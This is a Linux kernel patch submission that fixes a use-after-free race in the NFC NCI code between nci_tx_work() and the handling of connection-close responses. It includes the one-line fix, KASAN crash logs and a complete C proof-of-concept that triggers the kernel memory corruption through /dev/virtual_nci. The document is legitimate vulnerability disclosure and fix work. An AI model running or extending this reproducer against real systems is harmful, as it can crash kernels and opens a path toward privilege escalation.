[PATCH] nfc: nci: Fix use-after-free on conn_info in nci_tx_work()

Sanghyun Park posted 1 patch 1 week, 3 days ago
net/nfc/nci/rsp.c | 8 ++++++++
1 file changed, 8 insertions(+)
[PATCH] nfc: nci: Fix use-after-free on conn_info in nci_tx_work()
Posted by Sanghyun Park 1 week, 3 days ago
nci_tx_work() calls nci_get_conn_info_by_conn_id() to look up a
conn_info and then dereferences it extensively (reading credits_cnt,
calling nci_send_frame, etc). The lookup and subsequent use are done
without any locking.

A concurrent nci_core_conn_close_rsp_packet(), processed on the
separate rx_wq workqueue, can call list_del() + devm_kfree() on the
same conn_info while nci_tx_work() is still using it, resulting in a
use-after-free.

Fix by flushing the tx workqueue before removing and freeing a
conn_info in nci_core_conn_close_rsp_packet(). This ensures any
in-progress nci_tx_work() has completed before the conn_info is freed.
The two workqueues (rx_wq, tx_wq) are independent, so this cannot
deadlock.

Race:

  CPU0 (nfc0_nci_tx_wq)              CPU1 (nfc0_nci_rx_wq)
  ============================       ==========================
  nci_tx_work():
    conn_info = nci_get_conn_info_by_conn_id()
    // no lock held, raw pointer
                                     nci_core_conn_close_rsp_packet():
                                       list_del(&conn_info->list)
                                       devm_kfree(conn_info)
    atomic_read(&conn_info->credits_cnt)
    // UAF: conn_info is freed

Reproduction:

  1. Build kernel >= 3.4 with CONFIG_KASAN=y, CONFIG_NFC=y,
     CONFIG_NFC_NCI=y, CONFIG_NFC_VIRTUAL_NCI=m
  2. Boot in a VM, load virtual_nci module
  3. Compile: gcc -O2 -o repro -static -pthread repro.c
  4. Run as root: ./repro
  5. Check dmesg for: BUG: KASAN: slab-use-after-free in nci_tx_work
     or: BUG: KASAN: invalid-free in nci_rsp_packet

  The reproducer opens /dev/virtual_nci, brings up an NFC device via
  generic netlink, activates an RF interface, then races raw NFC data
  sends against injected NCI CONN_CLOSE response packets. The tx_wq
  and rx_wq are separate singlethread workqueues, allowing the race.

KASAN report (reproduced on 6.12.91 via /dev/virtual_nci):

  BUG: KASAN: invalid-free in nci_rsp_packet+0x1424/0x21f0
  Free of addr ffff88810da31028 by task kworker/u8:0/12

  Workqueue: nfc0_nci_rx_wq nci_rx_work
  Call Trace:
   kfree+0x126/0x4d0
   nci_rsp_packet+0x1424/0x21f0
   nci_rx_work+0x2a1/0x440
   process_one_work+0x953/0x1820

  Allocated by task 37:
   devm_kmalloc+0xa8/0x230
   nci_rsp_packet+0x1a46/0x21f0
   nci_rx_work+0x2a1/0x440

Fixes: 6a2968aaf50c ("NFC: basic NCI protocol implementation")
Signed-off-by: Sanghyun Park <sanghyun.park.cnu@gmail.com>
---

Hi,

I'm Sanghyun Park, a security researcher. I found this while auditing
the NFC NCI core code. The bug has existed since NCI was introduced in
3.4 and affects all kernels since then (Ubuntu 14.04+, Fedora 17+,
Debian 8+, etc.) on systems with NFC hardware or the virtual_nci module.

The C reproducer is attached separately (repro.c).

 net/nfc/nci/rsp.c | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/net/nfc/nci/rsp.c b/net/nfc/nci/rsp.c
index 839a5c80de..c4d8e9f1a2 100644
--- a/net/nfc/nci/rsp.c
+++ b/net/nfc/nci/rsp.c
@@ -333,6 +333,14 @@ static void nci_core_conn_close_rsp_packet(struct
nci_dev *ndev,
  conn_info = nci_get_conn_info_by_conn_id(ndev,
  ndev->cur_conn_id);
  if (conn_info) {
+ /*
+ * Flush any pending nci_tx_work before removing the
+ * conn_info.  nci_tx_work looks up conn_info without
+ * locking, so it must not be running while we free
+ * the entry.  The two workqueues (rx_wq, tx_wq) are
+ * independent, so this cannot deadlock.
+ */
+ flush_workqueue(ndev->tx_wq);
  list_del(&conn_info->list);
  if (conn_info == ndev->rf_conn_info)
  ndev->rf_conn_info = NULL;
[   43.417619] BUG: KASAN: invalid-free in nci_rsp_packet+0x1424/0x21f0
[   43.418353] Free of addr ffff88810da31028 by task kworker/u8:0/12

[   43.419245] CPU: 1 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 6.12.91-dirty #24
[   43.419260] Hardware name: QEMU Ubuntu 25.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   43.419264] Workqueue: nfc0_nci_rx_wq nci_rx_work
[   43.419274] Call Trace:
[   43.419276]  <TASK>
[   43.419279]  dump_stack_lvl+0xba/0x110
[   43.419287]  print_report+0x174/0x4f6
[   43.419328]  ? __virt_addr_valid+0x86/0x670
[   43.419355]  ? nci_rsp_packet+0x1424/0x21f0
[   43.419361]  ? nci_rsp_packet+0x1424/0x21f0
[   43.419366]  kasan_report_invalid_free+0xaa/0xd0
[   43.419384]  ? nci_rsp_packet+0x1424/0x21f0
[   43.419390]  ? nci_rsp_packet+0x1424/0x21f0
[   43.419395]  check_slab_allocation+0x116/0x120
[   43.419400]  kfree+0x126/0x4d0
[   43.419407]  ? nfc_send_to_raw_sock+0x3a/0x230
[   43.419412]  ? nci_rsp_packet+0x1424/0x21f0
[   43.419418]  nci_rsp_packet+0x1424/0x21f0
[   43.419430]  ? nfc_send_to_raw_sock+0x101/0x230
[   43.419439]  nci_rx_work+0x2a1/0x440
[   43.419447]  process_one_work+0x953/0x1820
[   43.419454]  ? __pfx_process_one_work+0x10/0x10
[   43.419462]  ? __pfx_nci_rx_work+0x10/0x10
[   43.419469]  worker_thread+0x5cd/0xe20
[   43.419476]  ? __pfx_worker_thread+0x10/0x10
[   43.419481]  kthread+0x2b2/0x360
[   43.419485]  ? __pfx_kthread+0x10/0x10
[   43.419490]  ret_from_fork+0x4d/0x80
[   43.419496]  ? __pfx_kthread+0x10/0x10
[   43.419500]  ret_from_fork_asm+0x1a/0x30
[   43.419507]  </TASK>

[   43.435161] Allocated by task 37:
[   43.435566]  kasan_save_stack+0x30/0x50
[   43.436047]  kasan_save_track+0x14/0x30
[   43.436498]  __kasan_kmalloc+0xaa/0xb0
[   43.436960]  __kmalloc_node_track_caller_noprof+0x216/0x490
[   43.437594]  devm_kmalloc+0xa8/0x230
[   43.438034]  nci_rsp_packet+0x1a46/0x21f0
[   43.438508]  nci_rx_work+0x2a1/0x440
[   43.438968]  process_one_work+0x953/0x1820
[   43.439446]  worker_thread+0x5cd/0xe20
[   43.439892]  kthread+0x2b2/0x360
[   43.440278]  ret_from_fork+0x4d/0x80
[   43.440701]  ret_from_fork_asm+0x1a/0x30

[   43.441368] The buggy address belongs to the object at ffff88810da31000
                which belongs to the cache kmalloc-128 of size 128
[   43.442751] The buggy address is located 40 bytes inside of
                128-byte region [ffff88810da31000, ffff88810da31080)

[   43.444271] The buggy address belongs to the physical page:
[   43.444920] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10da31
[   43.445826] flags: 0x200000000000000(node=0|zone=2)
[   43.446407] page_type: f5(slab)
[   43.446785] raw: 0200000000000000 ffff888100041a00 ffffea000440d180 dead000000000004
[   43.447668] raw: 0000000000000000 0000000000100010 00000001f5000000 0000000000000000
[   43.448544] page dumped because: kasan: bad access detected
#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <linux/nfc.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef SOL_NETLINK
#define SOL_NETLINK 270
#endif
#ifndef NETLINK_ADD_MEMBERSHIP
#define NETLINK_ADD_MEMBERSHIP 1
#endif
#ifndef GENL_ID_CTRL
#define GENL_ID_CTRL NLMSG_MIN_TYPE
#endif
#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif

#define IOCTL_GET_NCIDEV_IDX 0

#define MAX_NLMSG 8192
#define MAX_NCI_FRAME 4096
#define TX_PAYLOAD_LEN 4096
#define ATTEMPTS 50

#define NCI_MT_DATA_PKT 0x00
#define NCI_MT_CMD_PKT  0x01
#define NCI_MT_RSP_PKT  0x02
#define NCI_MT_NTF_PKT  0x03

#define NCI_GID_CORE    0x00
#define NCI_GID_RF_MGMT 0x01
#define NCI_GID_NFCEE   0x02

#define NCI_OID_CORE_RESET        0x00
#define NCI_OID_CORE_INIT         0x01
#define NCI_OID_CORE_SET_CONFIG   0x02
#define NCI_OID_CORE_CONN_CLOSE   0x05
#define NCI_OID_CORE_CREDITS      0x06
#define NCI_OID_RF_DISCOVER_MAP   0x00
#define NCI_OID_RF_DISCOVER       0x03
#define NCI_OID_RF_DISCOVER_SEL   0x04
#define NCI_OID_RF_INTF_ACTIVATED 0x05
#define NCI_OID_RF_DEACTIVATE     0x06

#define NCI_STATUS_OK 0x00

#define NCI_RF_PROTOCOL_NFC_DEP 0x05
#define NCI_RF_INTERFACE_NFC_DEP 0x03
#define NCI_NFC_A_PASSIVE_POLL_MODE 0x00
#define NCI_BIT_RATE_106 0x00
#define NCI_DATA_FLOW_CONTROL_NOT_USED 0xff

struct nfc_genl {
    int fd;
    uint16_t family_id;
    uint32_t mcast_id;
    uint32_t seq;
};

struct ctrl_ctx {
    int fd;
    volatile int stop;
    volatile int arm_close;
    volatile int data_tx_seen;
    volatile int close_injected;
};

static uint8_t nci_hdr(uint8_t mt, uint8_t gid)
{
    return (uint8_t)(((mt & 7) << 5) | (gid & 0x0f));
}

static uint8_t nci_mt(const uint8_t *frame)
{
    return (uint8_t)((frame[0] >> 5) & 7);
}

static uint8_t nci_gid(const uint8_t *frame)
{
    return (uint8_t)(frame[0] & 0x0f);
}

static uint8_t nci_oid(const uint8_t *frame)
{
    return (uint8_t)(frame[1] & 0x3f);
}

static int write_nci_frame(int fd, const void *buf, size_t len)
{
    ssize_t n;

    do {
        n = write(fd, buf, len);
    } while (n < 0 && errno == EINTR);

    if (n != (ssize_t)len) {
        if (n >= 0)
            errno = EIO;
        return -1;
    }
    return 0;
}

static void send_status_rsp(int fd, uint8_t gid, uint8_t oid)
{
    uint8_t rsp[5];
    size_t len = 4;

    rsp[0] = nci_hdr(NCI_MT_RSP_PKT, gid);
    rsp[1] = oid;
    rsp[2] = 1;
    rsp[3] = NCI_STATUS_OK;

    if (gid == NCI_GID_CORE && oid == NCI_OID_CORE_SET_CONFIG) {
        rsp[2] = 2;
        rsp[4] = 0;
        len = 5;
    } else if (gid == NCI_GID_NFCEE && oid == 0x00) {
        rsp[2] = 2;
        rsp[4] = 0;
        len = 5;
    }

    (void)write_nci_frame(fd, rsp, len);
}

static void send_core_reset_rsp(int fd)
{
    uint8_t rsp[] = {
        0x40, 0x00, 0x03,
        NCI_STATUS_OK,
        0x10,
        0x00,
    };

    (void)write_nci_frame(fd, rsp, sizeof(rsp));
}

static void send_core_init_rsp(int fd)
{
    uint8_t rsp[] = {
        0x40, 0x01, 0x12,
        NCI_STATUS_OK,
        0x00, 0x00, 0x00, 0x00,
        0x01,
        NCI_RF_INTERFACE_NFC_DEP,
        0x04,
        0x00, 0x00,
        0xff,
        0xff, 0x00,
        0x00,
        0x00, 0x00, 0x00, 0x00,
    };

    (void)write_nci_frame(fd, rsp, sizeof(rsp));
}

static void send_rf_deactivate_ntf(int fd)
{
    uint8_t ntf[] = {
        0x61, NCI_OID_RF_DEACTIVATE, 0x02,
        0x00,
        0x00,
    };

    (void)write_nci_frame(fd, ntf, sizeof(ntf));
}

static void send_conn_credits_ntf(int fd)
{
    uint8_t ntf[] = {
        0x60, NCI_OID_CORE_CREDITS, 0x03,
        0x01,
        0x00,
        NCI_DATA_FLOW_CONTROL_NOT_USED,
    };

    (void)write_nci_frame(fd, ntf, sizeof(ntf));
}

static void send_conn_close_rsp(int fd)
{
    uint8_t rsp[] = {
        0x40, NCI_OID_CORE_CONN_CLOSE, 0x01,
        NCI_STATUS_OK,
    };

    (void)write_nci_frame(fd, rsp, sizeof(rsp));
}

static void blast_conn_close_rsp(int fd)
{
    for (int i = 0; i < 64; i++) {
        send_conn_close_rsp(fd);
        if ((i & 7) == 7)
            sched_yield();
    }
}

static void send_rf_intf_activated_ntf(int fd)
{
    uint8_t ntf[] = {
        0x61, NCI_OID_RF_INTF_ACTIVATED, 0x14,
        0x01,
        NCI_RF_INTERFACE_NFC_DEP,
        NCI_RF_PROTOCOL_NFC_DEP,
        NCI_NFC_A_PASSIVE_POLL_MODE,
        0x01,
        NCI_DATA_FLOW_CONTROL_NOT_USED,
        0x09,
        0x44, 0x00,
        0x04,
        0xde, 0xad, 0xbe, 0xef,
        0x01,
        0x40,
        NCI_NFC_A_PASSIVE_POLL_MODE,
        NCI_BIT_RATE_106,
        NCI_BIT_RATE_106,
        0x00,
    };

    (void)write_nci_frame(fd, ntf, sizeof(ntf));
}

static void handle_nci_cmd(struct ctrl_ctx *ctx, const uint8_t *buf, ssize_t n)
{
    uint8_t gid;
    uint8_t oid;

    if (n < 3)
        return;

    gid = nci_gid(buf);
    oid = nci_oid(buf);

    if (gid == NCI_GID_CORE) {
        switch (oid) {
        case NCI_OID_CORE_RESET:
            send_core_reset_rsp(ctx->fd);
            return;
        case NCI_OID_CORE_INIT:
            send_core_init_rsp(ctx->fd);
            return;
        case NCI_OID_CORE_SET_CONFIG:
            send_status_rsp(ctx->fd, gid, oid);
            return;
        case NCI_OID_CORE_CONN_CLOSE:
            send_conn_close_rsp(ctx->fd);
            return;
        default:
            send_status_rsp(ctx->fd, gid, oid);
            return;
        }
    }

    if (gid == NCI_GID_RF_MGMT) {
        switch (oid) {
        case NCI_OID_RF_DISCOVER_MAP:
        case NCI_OID_RF_DISCOVER:
            send_status_rsp(ctx->fd, gid, oid);
            return;
        case NCI_OID_RF_DISCOVER_SEL:
            send_status_rsp(ctx->fd, gid, oid);
            send_rf_intf_activated_ntf(ctx->fd);
            return;
        case NCI_OID_RF_DEACTIVATE:
            send_status_rsp(ctx->fd, gid, oid);
            send_rf_deactivate_ntf(ctx->fd);
            return;
        default:
            send_status_rsp(ctx->fd, gid, oid);
            return;
        }
    }

    send_status_rsp(ctx->fd, gid, oid);
}

static void *controller_thread(void *arg)
{
    struct ctrl_ctx *ctx = arg;
    uint8_t buf[MAX_NCI_FRAME];

    while (!__atomic_load_n(&ctx->stop, __ATOMIC_RELAXED)) {
        struct pollfd pfd = { .fd = ctx->fd, .events = POLLIN };
        int pr = poll(&pfd, 1, 10);

        if (pr < 0) {
            if (errno == EINTR)
                continue;
            break;
        }
        if (pr == 0 || !(pfd.revents & POLLIN))
            continue;

        ssize_t n = read(ctx->fd, buf, sizeof(buf));
        if (n < 0) {
            if (errno == EINTR || errno == EAGAIN)
                continue;
            break;
        }
        if (n < 3)
            continue;

        if (nci_mt(buf) == NCI_MT_CMD_PKT) {
            handle_nci_cmd(ctx, buf, n);
        } else if (nci_mt(buf) == NCI_MT_DATA_PKT) {
            int seen = __atomic_add_fetch(&ctx->data_tx_seen, 1,
                                          __ATOMIC_RELAXED);

            if (__atomic_load_n(&ctx->arm_close, __ATOMIC_RELAXED) &&
                !__atomic_exchange_n(&ctx->close_injected, 1,
                                     __ATOMIC_RELAXED)) {
                blast_conn_close_rsp(ctx->fd);
            } else if ((seen & 0x3f) == 0) {
                send_conn_credits_ntf(ctx->fd);
            }
        }
    }

    return NULL;
}

static int addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type,
                     const void *data, size_t alen)
{
    size_t len = NLA_HDRLEN + alen;
    size_t newlen = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(len);
    struct nlattr *nla;

    if (newlen > maxlen) {
        errno = EMSGSIZE;
        return -1;
    }

    nla = (struct nlattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
    nla->nla_type = type;
    nla->nla_len = (uint16_t)len;
    if (alen)
        memcpy((char *)nla + NLA_HDRLEN, data, alen);
    memset((char *)nla + len, 0, NLA_ALIGN(len) - len);
    nlh->nlmsg_len = (uint32_t)newlen;
    return 0;
}

static int addattr_u32(struct nlmsghdr *nlh, size_t maxlen, int type,
                       uint32_t value)
{
    return addattr_l(nlh, maxlen, type, &value, sizeof(value));
}

static int addattr_u8(struct nlmsghdr *nlh, size_t maxlen, int type,
                      uint8_t value)
{
    return addattr_l(nlh, maxlen, type, &value, sizeof(value));
}

static int addattr_strz(struct nlmsghdr *nlh, size_t maxlen, int type,
                        const char *value)
{
    return addattr_l(nlh, maxlen, type, value, strlen(value) + 1);
}

static int parse_attrs(struct nlattr **tb, int maxattr, struct nlattr *attr,
                       int len)
{
    memset(tb, 0, sizeof(struct nlattr *) * (maxattr + 1));

    while (len >= (int)sizeof(*attr) && attr->nla_len >= sizeof(*attr) &&
           attr->nla_len <= len) {
        int type = attr->nla_type & NLA_TYPE_MASK;
        if (type <= maxattr)
            tb[type] = attr;
        len -= NLA_ALIGN(attr->nla_len);
        attr = (struct nlattr *)((char *)attr + NLA_ALIGN(attr->nla_len));
    }

    return len == 0 ? 0 : -1;
}

static uint32_t nla_get_u32_local(const struct nlattr *nla)
{
    uint32_t v;
    memcpy(&v, (const char *)nla + NLA_HDRLEN, sizeof(v));
    return v;
}

static uint16_t nla_get_u16_local(const struct nlattr *nla)
{
    uint16_t v;
    memcpy(&v, (const char *)nla + NLA_HDRLEN, sizeof(v));
    return v;
}

static char *nla_data_local(const struct nlattr *nla)
{
    return (char *)nla + NLA_HDRLEN;
}

static int recv_ack(int fd, uint32_t seq)
{
    char buf[MAX_NLMSG];

    for (;;) {
        ssize_t n = recv(fd, buf, sizeof(buf), 0);
        if (n < 0) {
            if (errno == EINTR)
                continue;
            return -1;
        }

        for (struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
             NLMSG_OK(nlh, (unsigned int)n);
             nlh = NLMSG_NEXT(nlh, n)) {
            if (nlh->nlmsg_seq != seq)
                continue;
            if (nlh->nlmsg_type == NLMSG_ERROR) {
                struct nlmsgerr *err = NLMSG_DATA(nlh);
                if (err->error) {
                    errno = -err->error;
                    return -1;
                }
                return 0;
            }
        }
    }
}

static int resolve_nfc_family(struct nfc_genl *genl)
{
    char req[MAX_NLMSG];
    char resp[MAX_NLMSG];
    struct nlmsghdr *nlh = (struct nlmsghdr *)req;
    struct genlmsghdr *ghdr;
    uint32_t seq = ++genl->seq;

    memset(req, 0, sizeof(req));
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    nlh->nlmsg_type = GENL_ID_CTRL;
    nlh->nlmsg_flags = NLM_F_REQUEST;
    nlh->nlmsg_seq = seq;
    ghdr = NLMSG_DATA(nlh);
    ghdr->cmd = CTRL_CMD_GETFAMILY;
    ghdr->version = 1;

    if (addattr_strz(nlh, sizeof(req), CTRL_ATTR_FAMILY_NAME, NFC_GENL_NAME))
        return -1;
    if (send(genl->fd, req, nlh->nlmsg_len, 0) < 0)
        return -1;

    for (;;) {
        ssize_t n = recv(genl->fd, resp, sizeof(resp), 0);
        if (n < 0) {
            if (errno == EINTR)
                continue;
            return -1;
        }

        for (nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, (unsigned int)n);
             nlh = NLMSG_NEXT(nlh, n)) {
            struct nlattr *tb[CTRL_ATTR_MAX + 1];
            int attrlen;

            if (nlh->nlmsg_seq != seq)
                continue;
            if (nlh->nlmsg_type == NLMSG_ERROR) {
                struct nlmsgerr *err = NLMSG_DATA(nlh);
                errno = err->error ? -err->error : EPROTO;
                return -1;
            }

            ghdr = NLMSG_DATA(nlh);
            attrlen = (int)nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
            if (attrlen < 0)
                continue;
            if (parse_attrs(tb, CTRL_ATTR_MAX,
                            (struct nlattr *)((char *)ghdr + GENL_HDRLEN),
                            attrlen))
                continue;
            if (!tb[CTRL_ATTR_FAMILY_ID])
                continue;

            genl->family_id = nla_get_u16_local(tb[CTRL_ATTR_FAMILY_ID]);
            genl->mcast_id = 0;

            if (tb[CTRL_ATTR_MCAST_GROUPS]) {
                struct nlattr *grp;
                int rem = tb[CTRL_ATTR_MCAST_GROUPS]->nla_len - NLA_HDRLEN;

                grp = (struct nlattr *)nla_data_local(tb[CTRL_ATTR_MCAST_GROUPS]);
                while (rem >= (int)sizeof(*grp) && grp->nla_len >= sizeof(*grp) &&
                       grp->nla_len <= rem) {
                    struct nlattr *gtb[CTRL_ATTR_MCAST_GRP_MAX + 1];
                    int glen = grp->nla_len - NLA_HDRLEN;

                    if (!parse_attrs(gtb, CTRL_ATTR_MCAST_GRP_MAX,
                                     (struct nlattr *)nla_data_local(grp), glen) &&
                        gtb[CTRL_ATTR_MCAST_GRP_NAME] &&
                        gtb[CTRL_ATTR_MCAST_GRP_ID] &&
                        strcmp(nla_data_local(gtb[CTRL_ATTR_MCAST_GRP_NAME]),
                               NFC_GENL_MCAST_EVENT_NAME) == 0) {
                        genl->mcast_id = nla_get_u32_local(gtb[CTRL_ATTR_MCAST_GRP_ID]);
                    }

                    rem -= NLA_ALIGN(grp->nla_len);
                    grp = (struct nlattr *)((char *)grp + NLA_ALIGN(grp->nla_len));
                }
            }

            return 0;
        }
    }
}

static int genl_open(struct nfc_genl *genl)
{
    struct sockaddr_nl addr;

    memset(genl, 0, sizeof(*genl));
    genl->fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (genl->fd < 0)
        return -1;

    memset(&addr, 0, sizeof(addr));
    addr.nl_family = AF_NETLINK;
    addr.nl_pid = (uint32_t)getpid();
    if (bind(genl->fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
        return -1;

    if (resolve_nfc_family(genl) < 0)
        return -1;

    if (genl->mcast_id) {
        (void)setsockopt(genl->fd, SOL_NETLINK, NETLINK_ADD_MEMBERSHIP,
                         &genl->mcast_id, sizeof(genl->mcast_id));
    }

    return 0;
}

static int genl_cmd_device_u32(struct nfc_genl *genl, uint8_t cmd,
                               uint32_t dev_idx)
{
    char req[MAX_NLMSG];
    struct nlmsghdr *nlh = (struct nlmsghdr *)req;
    struct genlmsghdr *ghdr;
    uint32_t seq = ++genl->seq;

    memset(req, 0, sizeof(req));
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    nlh->nlmsg_type = genl->family_id;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nlh->nlmsg_seq = seq;
    ghdr = NLMSG_DATA(nlh);
    ghdr->cmd = cmd;
    ghdr->version = NFC_GENL_VERSION;

    if (addattr_u32(nlh, sizeof(req), NFC_ATTR_DEVICE_INDEX, dev_idx))
        return -1;
    if (send(genl->fd, req, nlh->nlmsg_len, 0) < 0)
        return -1;

    return recv_ack(genl->fd, seq);
}

static int genl_start_poll(struct nfc_genl *genl, uint32_t dev_idx)
{
    char req[MAX_NLMSG];
    struct nlmsghdr *nlh = (struct nlmsghdr *)req;
    struct genlmsghdr *ghdr;
    uint32_t seq = ++genl->seq;
    uint32_t protocols = NFC_PROTO_NFC_DEP_MASK;

    memset(req, 0, sizeof(req));
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    nlh->nlmsg_type = genl->family_id;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nlh->nlmsg_seq = seq;
    ghdr = NLMSG_DATA(nlh);
    ghdr->cmd = NFC_CMD_START_POLL;
    ghdr->version = NFC_GENL_VERSION;

    if (addattr_u32(nlh, sizeof(req), NFC_ATTR_DEVICE_INDEX, dev_idx) ||
        addattr_u32(nlh, sizeof(req), NFC_ATTR_PROTOCOLS, protocols))
        return -1;
    if (send(genl->fd, req, nlh->nlmsg_len, 0) < 0)
        return -1;

    return recv_ack(genl->fd, seq);
}

static int connect_raw_nfc_socket(uint32_t dev_idx, uint32_t target_idx)
{
    int s;
    struct sockaddr_nfc addr;

    s = socket(AF_NFC, SOCK_SEQPACKET, NFC_SOCKPROTO_RAW);
    if (s < 0)
        return -1;

    memset(&addr, 0, sizeof(addr));
    addr.sa_family = AF_NFC;
    addr.dev_idx = dev_idx;
    addr.target_idx = target_idx;
    addr.nfc_protocol = NFC_PROTO_NFC_DEP;

    if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        close(s);
        return -1;
    }

    return s;
}

static int run_attempt(int attempt, struct nfc_genl *genl)
{
    int vfd = -1;
    int rawfd = -1;
    uint32_t dev_idx = 0;
    pthread_t tid;
    struct ctrl_ctx ctx;
    uint8_t *payload = NULL;
    int ret = -1;

    memset(&ctx, 0, sizeof(ctx));

    vfd = open("/dev/virtual_nci", O_RDWR | O_CLOEXEC);
    if (vfd < 0) {
        perror("open /dev/virtual_nci");
        return -1;
    }

    if (ioctl(vfd, IOCTL_GET_NCIDEV_IDX, &dev_idx) < 0) {
        perror("ioctl(IOCTL_GET_NCIDEV_IDX)");
        goto out_close_vfd;
    }

    ctx.fd = vfd;
    if (pthread_create(&tid, NULL, controller_thread, &ctx) != 0) {
        perror("pthread_create");
        goto out_close_vfd;
    }

    printf("[%02d] nfc%u: DEV_UP\n", attempt, dev_idx);
    if (genl_cmd_device_u32(genl, NFC_CMD_DEV_UP, dev_idx) < 0) {
        perror("NFC_CMD_DEV_UP");
        goto out_stop_thread;
    }

    printf("[%02d] nfc%u: START_POLL(NFC-DEP)\n", attempt, dev_idx);
    if (genl_start_poll(genl, dev_idx) < 0) {
        perror("NFC_CMD_START_POLL");
        goto out_dev_down;
    }

    send_rf_intf_activated_ntf(vfd);
    usleep(50000);

    rawfd = connect_raw_nfc_socket(dev_idx, 0);
    if (rawfd < 0) {
        perror("raw NFC socket/connect");
        goto out_dev_down;
    }

    payload = malloc(TX_PAYLOAD_LEN);
    if (!payload) {
        perror("malloc payload");
        goto out_raw;
    }
    for (size_t i = 0; i < TX_PAYLOAD_LEN; i++)
        payload[i] = (uint8_t)(0x41 + (i % 26));

    printf("[%02d] racing send() vs CONN_CLOSE RSP (rawfd=%d)\n", attempt, rawfd);
    __atomic_store_n(&ctx.arm_close, 1, __ATOMIC_RELAXED);
    for (int burst = 0; burst < 100; burst++) {
        ssize_t sent = send(rawfd, payload, 64, MSG_DONTWAIT);
        if (burst == 0)
            printf("[%02d] first send() returned %zd (errno=%d)\n", attempt, sent, sent < 0 ? errno : 0);
        send_conn_close_rsp(vfd);
        usleep(100);
    }

    usleep(50000);

    printf("[%02d] data_tx_seen=%d close_injected=%d\n", attempt,
           __atomic_load_n(&ctx.data_tx_seen, __ATOMIC_RELAXED),
           __atomic_load_n(&ctx.close_injected, __ATOMIC_RELAXED));
    usleep(100000);
    ret = 0;

out_raw:
    free(payload);
    if (rawfd >= 0)
        close(rawfd);
out_dev_down:
    (void)genl_cmd_device_u32(genl, NFC_CMD_DEV_DOWN, dev_idx);
out_stop_thread:
    __atomic_store_n(&ctx.stop, 1, __ATOMIC_RELAXED);
    pthread_join(tid, NULL);
out_close_vfd:
    close(vfd);
    return ret;
}

int main(void)
{
    struct nfc_genl genl;
    int ok = 0;

    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    printf("NCI conn_info UAF race PoC\n");

    if (genl_open(&genl) < 0) {
        perror("open/resolve NFC generic netlink family");
        return 1;
    }
    printf("generic netlink family '%s': id=%u mcast=%u\n",
           NFC_GENL_NAME, genl.family_id, genl.mcast_id);

    for (int i = 1; i <= ATTEMPTS; i++) {
        if (run_attempt(i, &genl) == 0)
            ok++;
        usleep(150000);
    }

    close(genl.fd);
    printf("completed %d/%d attempts; check dmesg for KASAN in nci_tx_work\n",
           ok, ATTEMPTS);
    return ok ? 0 : 1;
}